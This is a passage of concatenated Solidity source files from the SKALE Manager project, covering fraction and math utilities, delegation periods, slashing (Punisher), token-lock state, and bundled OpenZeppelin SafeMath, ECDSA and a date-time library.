FractionUtils.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
library FractionUtils {
using SafeMath for uint;
struct Fraction {
uint numerator;
uint denominator;
}
function createFraction(uint numerator, uint denominator) internal pure returns (Fraction memory) {
require(denominator > 0, "Division by zero");
Fraction memory fraction = Fraction({numerator: numerator, denominator: denominator});
reduceFraction(fraction);
return fraction;
}
function createFraction(uint value) internal pure returns (Fraction memory) {
return createFraction(value, 1);
}
function reduceFraction(Fraction memory fraction) internal pure {
uint _gcd = gcd(fraction.numerator, fraction.denominator);
fraction.numerator = fraction.numerator.div(_gcd);
fraction.denominator = fraction.denominator.div(_gcd);
}
// numerator - is limited by 7*10^27, we could multiply it numerator * numerator - it would less than 2^256-1
function multiplyFraction(Fraction memory a, Fraction memory b) internal pure returns (Fraction memory) {
return createFraction(a.numerator.mul(b.numerator), a.denominator.mul(b.denominator));
}
function gcd(uint a, uint b) internal pure returns (uint) {
uint _a = a;
uint _b = b;
if (_b > _a) {
(_a, _b) = swap(_a, _b);
}
while (_b > 0) {
_a = _a.mod(_b);
(_a, _b) = swap (_a, _b);
}
return _a;
}
function swap(uint a, uint b) internal pure returns (uint, uint) {
return (b, a);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
MathUtils.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
library MathUtils {
uint constant private _EPS = 1e6;
event UnderflowError(
uint a,
uint b
);
function boundedSub(uint256 a, uint256 b) internal returns (uint256) {
if (a >= b) {
return a - b;
} else {
emit UnderflowError(a, b);
return 0;
}
}
function boundedSubWithoutEvent(uint256 a, uint256 b) internal pure returns (uint256) {
if (a >= b) {
return a - b;
} else {
return 0;
}
}
function muchGreater(uint256 a, uint256 b) internal pure returns (bool) {
assert(uint(-1) - _EPS > b);
return a > b + _EPS;
}
function approximatelyEqual(uint256 a, uint256 b) internal pure returns (bool) {
if (a > b) {
return a - b < _EPS;
} else {
return b - a < _EPS;
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
DelegationPeriodManager.sol - SKALE Manager
Copyright (C) 2018-Present SKALE Labs
@author Dmytro Stebaiev
@author Vadim Yavorsky
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "../Permissions.sol";
/**
* @title Delegation Period Manager
* @dev This contract handles all delegation offerings. Delegations are held for
* a specified period (months), and different durations can have different
* returns or `stakeMultiplier`. Currently, only delegation periods can be added.
*/
contract DelegationPeriodManager is Permissions {
mapping (uint => uint) public stakeMultipliers;
/**
* @dev Emitted when a new delegation period is specified.
*/
event DelegationPeriodWasSet(
uint length,
uint stakeMultiplier
);
/**
* @dev Allows the Owner to create a new available delegation period and
* stake multiplier in the network.
*
* Emits a {DelegationPeriodWasSet} event.
*/
function setDelegationPeriod(uint monthsCount, uint stakeMultiplier) external onlyOwner {
require(stakeMultipliers[monthsCount] == 0, "Delegation perios is already set");
stakeMultipliers[monthsCount] = stakeMultiplier;
emit DelegationPeriodWasSet(monthsCount, stakeMultiplier);
}
/**
* @dev Checks whether given delegation period is allowed.
*/
function isDelegationPeriodAllowed(uint monthsCount) external view returns (bool) {
return stakeMultipliers[monthsCount] != 0;
}
/**
* @dev Initial delegation period and multiplier settings.
*/
function initialize(address contractsAddress) public override initializer {
Permissions.initialize(contractsAddress);
stakeMultipliers[2] = 100; // 2 months at 100
// stakeMultipliers[6] = 150; // 6 months at 150
// stakeMultipliers[12] = 200; // 12 months at 200
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
Punisher.sol - SKALE Manager
Copyright (C) 2019-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
import "../Permissions.sol";
import "../interfaces/delegation/ILocker.sol";
import "./ValidatorService.sol";
import "./DelegationController.sol";
/**
* @title Punisher
* @dev This contract handles all slashing and forgiving operations.
*/
contract Punisher is Permissions, ILocker {
// holder => tokens
mapping (address => uint) private _locked;
/**
* @dev Emitted upon slashing condition.
*/
event Slash(
uint validatorId,
uint amount
);
/**
* @dev Emitted upon forgive condition.
*/
event Forgive(
address wallet,
uint amount
);
/**
* @dev Allows SkaleDKG contract to execute slashing on a validator and
* validator's delegations by an `amount` of tokens.
*
* Emits a {Slash} event.
*
* Requirements:
*
* - Validator must exist.
*/
function slash(uint validatorId, uint amount) external allow("SkaleDKG") {
ValidatorService validatorService = ValidatorService(contractManager.getContract("ValidatorService"));
DelegationController delegationController = DelegationController(
contractManager.getContract("DelegationController"));
require(validatorService.validatorExists(validatorId), "Validator does not exist");
delegationController.confiscate(validatorId, amount);
emit Slash(validatorId, amount);
}
/**
* @dev Allows the Admin to forgive a slashing condition.
*
* Emits a {Forgive} event.
*
* Requirements:
*
* - All slashes must have been processed.
*/
function forgive(address holder, uint amount) external onlyAdmin {
DelegationController delegationController = DelegationController(
contractManager.getContract("DelegationController"));
require(!delegationController.hasUnprocessedSlashes(holder), "Not all slashes were calculated");
if (amount > _locked[holder]) {
delete _locked[holder];
} else {
_locked[holder] = _locked[holder].sub(amount);
}
emit Forgive(holder, amount);
}
/**
* @dev See {ILocker-getAndUpdateLockedAmount}.
*/
function getAndUpdateLockedAmount(address wallet) external override returns (uint) {
return _getAndUpdateLockedAmount(wallet);
}
/**
* @dev See {ILocker-getAndUpdateForbiddenForDelegationAmount}.
*/
function getAndUpdateForbiddenForDelegationAmount(address wallet) external override returns (uint) {
return _getAndUpdateLockedAmount(wallet);
}
/**
* @dev Allows DelegationController contract to execute slashing of
* delegations.
*/
function handleSlash(address holder, uint amount) external allow("DelegationController") {
_locked[holder] = _locked[holder].add(amount);
}
function initialize(address contractManagerAddress) public override initializer {
Permissions.initialize(contractManagerAddress);
}
// private
/**
* @dev See {ILocker-getAndUpdateLockedAmount}.
*/
function _getAndUpdateLockedAmount(address wallet) private returns (uint) {
DelegationController delegationController = DelegationController(
contractManager.getContract("DelegationController"));
delegationController.processAllSlashes(wallet);
return _locked[wallet];
}
}
// SPDX-License-Identifier: AGPL-3.0-only
/*
TokenState.sol - SKALE Manager
Copyright (C) 2019-Present SKALE Labs
@author Dmytro Stebaiev
SKALE Manager is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
SKALE Manager is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>.
*/
pragma solidity 0.6.10;
pragma experimental ABIEncoderV2;
import "../interfaces/delegation/ILocker.sol";
import "../Permissions.sol";
import "./DelegationController.sol";
import "./TimeHelpers.sol";
/**
* @title Token State
* @dev This contract manages lockers to control token transferability.
*
* The SKALE Network has three types of locked tokens:
*
* - Tokens that are transferrable but are currently locked into delegation with
* a validator.
*
* - Tokens that are not transferable from one address to another, but may be
* delegated to a validator `getAndUpdateLockedAmount`. This lock enforces
* Proof-of-Use requirements.
*
* - Tokens that are neither transferable nor delegatable
* `getAndUpdateForbiddenForDelegationAmount`. This lock enforces slashing.
*/
contract TokenState is Permissions, ILocker {
string[] private _lockers;
DelegationController private _delegationController;
/**
* @dev Emitted when a contract is added to the locker.
*/
event LockerWasAdded(
string locker
);
/**
* @dev Emitted when a contract is removed from the locker.
*/
event LockerWasRemoved(
string locker
);
/**
* @dev See {ILocker-getAndUpdateLockedAmount}.
*/
function getAndUpdateLockedAmount(address holder) external override returns (uint) {
if (address(_delegationController) == address(0)) {
_delegationController =
DelegationController(contractManager.getContract("DelegationController"));
}
uint locked = 0;
if (_delegationController.getDelegationsByHolderLength(holder) > 0) {
// the holder ever delegated
for (uint i = 0; i < _lockers.length; ++i) {
ILocker locker = ILocker(contractManager.getContract(_lockers[i]));
locked = locked.add(locker.getAndUpdateLockedAmount(holder));
}
}
return locked;
}
/**
* @dev See {ILocker-getAndUpdateForbiddenForDelegationAmount}.
*/
function getAndUpdateForbiddenForDelegationAmount(address holder) external override returns (uint amount) {
uint forbidden = 0;
for (uint i = 0; i < _lockers.length; ++i) {
ILocker locker = ILocker(contractManager.getContract(_lockers[i]));
forbidden = forbidden.add(locker.getAndUpdateForbiddenForDelegationAmount(holder));
}
return forbidden;
}
/**
* @dev Allows the Owner to remove a contract from the locker.
*
* Emits a {LockerWasRemoved} event.
*/
function removeLocker(string calldata locker) external onlyOwner {
uint index;
bytes32 hash = keccak256(abi.encodePacked(locker));
for (index = 0; index < _lockers.length; ++index) {
if (keccak256(abi.encodePacked(_lockers[index])) == hash) {
break;
}
}
if (index < _lockers.length) {
if (index < _lockers.length.sub(1)) {
_lockers[index] = _lockers[_lockers.length.sub(1)];
}
delete _lockers[_lockers.length.sub(1)];
_lockers.pop();
emit LockerWasRemoved(locker);
}
}
function initialize(address contractManagerAddress) public override initializer {
Permissions.initialize(contractManagerAddress);
addLocker("DelegationController");
addLocker("Punisher");
}
/**
* @dev Allows the Owner to add a contract to the Locker.
*
* Emits a {LockerWasAdded} event.
*/
function addLocker(string memory locker) public onlyOwner {
_lockers.push(locker);
emit LockerWasAdded(locker);
}
}
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
pragma solidity ^0.6.0;
// ----------------------------------------------------------------------------
// BokkyPooBah's DateTime Library v1.01
//
// A gas-efficient Solidity date and time library
//
// https://github.com/bokkypoobah/BokkyPooBahsDateTimeLibrary
//
// Tested date range 1970/01/01 to 2345/12/31
//
// Conventions:
// Unit | Range | Notes
// :-------- |:-------------:|:-----
// timestamp | >= 0 | Unix timestamp, number of seconds since 1970/01/01 00:00:00 UTC
// year | 1970 ... 2345 |
// month | 1 ... 12 |
// day | 1 ... 31 |
// hour | 0 ... 23 |
// minute | 0 ... 59 |
// second | 0 ... 59 |
// dayOfWeek | 1 ... 7 | 1 = Monday, ..., 7 = Sunday
//
//
// Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018-2019. The MIT Licence.
// ----------------------------------------------------------------------------
library BokkyPooBahsDateTimeLibrary {
uint constant SECONDS_PER_DAY = 24 * 60 * 60;
uint constant SECONDS_PER_HOUR = 60 * 60;
uint constant SECONDS_PER_MINUTE = 60;
int constant OFFSET19700101 = 2440588;
uint constant DOW_MON = 1;
uint constant DOW_TUE = 2;
uint constant DOW_WED = 3;
uint constant DOW_THU = 4;
uint constant DOW_FRI = 5;
uint constant DOW_SAT = 6;
uint constant DOW_SUN = 7;
// ------------------------------------------------------------------------
// Calculate the number of days from 1970/01/01 to year/month/day using
// the date conversion algorithm from
// http://aa.usno.navy.mil/faq/docs/JD_Formula.php
// and subtracting the offset 2440588 so that 1970/01/01 is day 0
//
// days = day
// - 32075
// + 1461 * (year + 4800 + (month - 14) / 12) / 4
// + 367 * (month - 2 - (month - 14) / 12 * 12) / 12
// - 3 * ((year + 4900 + (month - 14) / 12) / 100) / 4
// - offset
// ------------------------------------------------------------------------
function _daysFromDate(uint year, uint month, uint day) internal pure returns (uint _days) {
require(year >= 1970);
int _year = int(year);
int _month = int(month);
int _day = int(day);
int __days = _day
- 32075
+ 1461 * (_year + 4800 + (_month - 14) / 12) / 4
+ 367 * (_month - 2 - (_month - 14) / 12 * 12) / 12
- 3 * ((_year + 4900 + (_month - 14) / 12) / 100) / 4
- OFFSET19700101;
_days = uint(__days);
}
// ------------------------------------------------------------------------
// Calculate year/month/day from the number of days since 1970/01/01 using
// the date conversion algorithm from
// http://aa.usno.navy.mil/faq/docs/JD_Formula.php
// and adding the offset 2440588 so that 1970/01/01 is day 0
//
// int L = days + 68569 + offset
// int N = 4 * L / 146097
// L = L - (146097 * N + 3) / 4
// year = 4000 * (L + 1) / 1461001
// L = L - 1461 * year / 4 + 31
// month = 80 * L / 2447
// dd = L - 2447 * month / 80
// L = month / 11
// month = month + 2 - 12 * L
// year = 100 * (N - 49) + year + L
// ------------------------------------------------------------------------
function _daysToDate(uint _days) internal pure returns (uint year, uint month, uint day) {
int __days = int(_days);
int L = __days + 68569 + OFFSET19700101;
int N = 4 * L / 146097;
L = L - (146097 * N + 3) / 4;
int _year = 4000 * (L + 1) / 1461001;
L = L - 1461 * _year / 4 + 31;
int _month = 80 * L / 2447;
int _day = L - 2447 * _month / 80;
L = _month / 11;
_month = _month + 2 - 12 * L;
_year = 100 * (N - 49) + _year + L;
year = uint(_year);
month = uint(_month);
day = uint(_day);
}
function timestampFromDate(uint year, uint month, uint day) internal pure returns (uint timestamp) {
timestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY;
}
function timestampFromDateTime(uint year, uint month, uint day, uint hour, uint minute, uint second) internal pure returns (uint timestamp) {
timestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + hour * SECONDS_PER_HOUR + minute * SECONDS_PER_MINUTE + second;
}
function timestampToDate(uint timestamp) internal pure returns (uint year, uint month, uint day) {
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
}
function timestampToDateTime(uint timestamp) internal pure returns (uint year, uint month, uint day, uint hour, uint minute, uint second) {
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
uint secs = timestamp % SECONDS_PER_DAY;
hour = secs / SECONDS_PER_HOUR;
secs = secs % SECONDS_PER_HOUR;
minute = secs / SECONDS_PER_MINUTE;
second = secs % SECONDS_PER_MINUTE;
}
function isValidDate(uint year, uint month, uint day) internal pure returns (bool valid) {
if (year >= 1970 && month > 0 && month <= 12) {
uint daysInMonth = _getDaysInMonth(year, month);
if (day > 0 && day <= daysInMonth) {
valid = true;
}
}
}
function isValidDateTime(uint year, uint month, uint day, uint hour, uint minute, uint second) internal pure returns (bool valid) {
if (isValidDate(year, month, day)) {
if (hour < 24 && minute < 60 && second < 60) {
valid = true;
}
}
}
function isLeapYear(uint timestamp) internal pure returns (bool leapYear) {
uint year;
uint month;
uint day;
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
leapYear = _isLeapYear(year);
}
function _isLeapYear(uint year) internal pure returns (bool leapYear) {
leapYear = ((year % 4 == 0) && (year % 100 != 0)) || (year % 400 == 0);
}
function isWeekDay(uint timestamp) internal pure returns (bool weekDay) {
weekDay = getDayOfWeek(timestamp) <= DOW_FRI;
}
function isWeekEnd(uint timestamp) internal pure returns (bool weekEnd) {
weekEnd = getDayOfWeek(timestamp) >= DOW_SAT;
}
function getDaysInMonth(uint timestamp) internal pure returns (uint daysInMonth) {
uint year;
uint month;
uint day;
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
daysInMonth = _getDaysInMonth(year, month);
}
function _getDaysInMonth(uint year, uint month) internal pure returns (uint daysInMonth) {
if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {
daysInMonth = 31;
} else if (month != 2) {
daysInMonth = 30;
} else {
daysInMonth = _isLeapYear(year) ? 29 : 28;
}
}
// 1 = Monday, 7 = Sunday
function getDayOfWeek(uint timestamp) internal pure returns (uint dayOfWeek) {
uint _days = timestamp / SECONDS_PER_DAY;
dayOfWeek = (_days + 3) % 7 + 1;
}
function getYear(uint timestamp) internal pure returns (uint year) {
uint month;
uint day;
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
}
function getMonth(uint timestamp) internal pure returns (uint month) {
uint year;
uint day;
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
}
function getDay(uint timestamp) internal pure returns (uint day) {
uint year;
uint month;
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
}
function getHour(uint timestamp) internal pure returns (uint hour) {
uint secs = timestamp % SECONDS_PER_DAY;
hour = secs / SECONDS_PER_HOUR;
}
function getMinute(uint timestamp) internal pure returns (uint minute) {
uint secs = timestamp % SECONDS_PER_HOUR;
minute = secs / SECONDS_PER_MINUTE;
}
function getSecond(uint timestamp) internal pure returns (uint second) {
second = timestamp % SECONDS_PER_MINUTE;
}
function addYears(uint timestamp, uint _years) internal pure returns (uint newTimestamp) {
uint year;
uint month;
uint day;
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
year += _years;
uint daysInMonth = _getDaysInMonth(year, month);
if (day > daysInMonth) {
day = daysInMonth;
}
newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY;
require(newTimestamp >= timestamp);
}
function addMonths(uint timestamp, uint _months) internal pure returns (uint newTimestamp) {
uint year;
uint month;
uint day;
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
month += _months;
year += (month - 1) / 12;
month = (month - 1) % 12 + 1;
uint daysInMonth = _getDaysInMonth(year, month);
if (day > daysInMonth) {
day = daysInMonth;
}
newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY;
require(newTimestamp >= timestamp);
}
function addDays(uint timestamp, uint _days) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp + _days * SECONDS_PER_DAY;
require(newTimestamp >= timestamp);
}
function addHours(uint timestamp, uint _hours) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp + _hours * SECONDS_PER_HOUR;
require(newTimestamp >= timestamp);
}
function addMinutes(uint timestamp, uint _minutes) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp + _minutes * SECONDS_PER_MINUTE;
require(newTimestamp >= timestamp);
}
function addSeconds(uint timestamp, uint _seconds) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp + _seconds;
require(newTimestamp >= timestamp);
}
function subYears(uint timestamp, uint _years) internal pure returns (uint newTimestamp) {
uint year;
uint month;
uint day;
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
year -= _years;
uint daysInMonth = _getDaysInMonth(year, month);
if (day > daysInMonth) {
day = daysInMonth;
}
newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY;
require(newTimestamp <= timestamp);
}
function subMonths(uint timestamp, uint _months) internal pure returns (uint newTimestamp) {
uint year;
uint month;
uint day;
(year, month, day) = _daysToDate(timestamp / SECONDS_PER_DAY);
uint yearMonth = year * 12 + (month - 1) - _months;
year = yearMonth / 12;
month = yearMonth % 12 + 1;
uint daysInMonth = _getDaysInMonth(year, month);
if (day > daysInMonth) {
day = daysInMonth;
}
newTimestamp = _daysFromDate(year, month, day) * SECONDS_PER_DAY + timestamp % SECONDS_PER_DAY;
require(newTimestamp <= timestamp);
}
function subDays(uint timestamp, uint _days) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp - _days * SECONDS_PER_DAY;
require(newTimestamp <= timestamp);
}
function subHours(uint timestamp, uint _hours) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp - _hours * SECONDS_PER_HOUR;
require(newTimestamp <= timestamp);
}
function subMinutes(uint timestamp, uint _minutes) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp - _minutes * SECONDS_PER_MINUTE;
require(newTimestamp <= timestamp);
}
function subSeconds(uint timestamp, uint _seconds) internal pure returns (uint newTimestamp) {
newTimestamp = timestamp - _seconds;
require(newTimestamp <= timestamp);
}
function diffYears(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _years) {
require(fromTimestamp <= toTimestamp);
uint fromYear;
uint fromMonth;
uint fromDay;
uint toYear;
uint toMonth;
uint toDay;
(fromYear, fromMonth, fromDay) = _daysToDate(fromTimestamp / SECONDS_PER_DAY);
(toYear, toMonth, toDay) = _daysToDate(toTimestamp / SECONDS_PER_DAY);
_years = toYear - fromYear;
}
function diffMonths(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _months) {
require(fromTimestamp <= toTimestamp);
uint fromYear;
uint fromMonth;
uint fromDay;
uint toYear;
uint toMonth;
uint toDay;
(fromYear, fromMonth, fromDay) = _daysToDate(fromTimestamp / SECONDS_PER_DAY);
(toYear, toMonth, toDay) = _daysToDate(toTimestamp / SECONDS_PER_DAY);
_months = toYear * 12 + toMonth - fromYear * 12 - fromMonth;
}
function diffDays(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _days) {
require(fromTimestamp <= toTimestamp);
_days = (toTimestamp - fromTimestamp) / SECONDS_PER_DAY;
}
function diffHours(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _hours) {
require(fromTimestamp <= toTimestamp);
_hours = (toTimestamp - fromTimestamp) / SECONDS_PER_HOUR;
}
function diffMinutes(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _minutes) {
require(fromTimestamp <= toTimestamp);
_minutes = (toTimestamp - fromTimestamp) / SECONDS_PER_MINUTE;
}
function diffSeconds(uint fromTimestamp, uint toTimestamp) internal pure returns (uint _seconds) {
require(fromTimestamp <= toTimestamp);
_seconds = toTimestamp - fromTimestamp;
}
}
pragma solidity ^0.6.0;
/**
* @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations.
*
* These functions can be used to verify that a message was signed by the holder
* of the private keys of a given address.
*/
library ECDSA {
/**
* @dev Returns the address that signed a hashed message (`hash`) with
* `signature`. This address can then be used for verification purposes.
*
* The `ecrecover` EVM opcode allows for malleable (non-unique) signatures:
* this function rejects them by requiring the `s` value to be in the lower
* half order, and the `v` value to be either 27 or 28.
*
* IMPORTANT: `hash` _must_ be the result of a hash operation for the
* verification to be secure: it is possible to craft signatures that
* recover to arbitrary addresses for non-hashed data. A safe way to ensure
* this is by receiving a hash of the original message (which may otherwise
* be too long), and then calling {toEthSignedMessageHash} on it.
*/
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
// Check the signature length
if (signature.length != 65) {
revert("ECDSA: invalid signature length");
}
// Divide the signature in r, s and v variables
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
// solhint-disable-next-line no-inline-assembly
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
revert("ECDSA: invalid signature 's' value");
}
if (v != 27 && v != 28) {
revert("ECDSA: invalid signature 'v' value");
}
// If the signature is valid (and not malleable), return the signer address
address signer = ecrecover(hash, v, r, s);
require(signer != address(0), "ECDSA: invalid signature");
return signer;
}
/**
* @dev Returns an Ethereum Signed Message, created from a `hash`. This
* replicates the behavior of the
* https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`]
* JSON-RPC method.
*
* See {recover}.
*/
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
// 32 is the length in bytes of hash,
// enforced by the type signature above
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
pragma solidity ^0.6.0;
import "../utils/EnumerableSet.sol";
import "../utils/Address.sol";
import "../GSN/Context.sol";
import "../Initializable.sol";
/**
* @dev Contract module that allows children to implement role-based access
* control mechanisms.
*
* Roles are referred to by their `bytes32` identifier. These should be exposed
* in the external API and be unique. The best way to achieve this is by
* using `public constant` hash digests:
*
* ```
* bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
* ```
*
* Roles can be used to represent a set of permissions. To restrict access to a
* function call, use {hasRole}:
*
* ```
* function foo() public {
* require(hasRole(MY_ROLE, _msgSender()));
* ...
* }
* ```
*
* Roles can be granted and revoked dynamically via the {grantRole} and
* {revokeRole} functions. Each role has an associated admin role, and only
* accounts that have a role's admin role can call {grantRole} and {revokeRole}.
*
* By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
* that only accounts with this role will be able to grant or revoke other
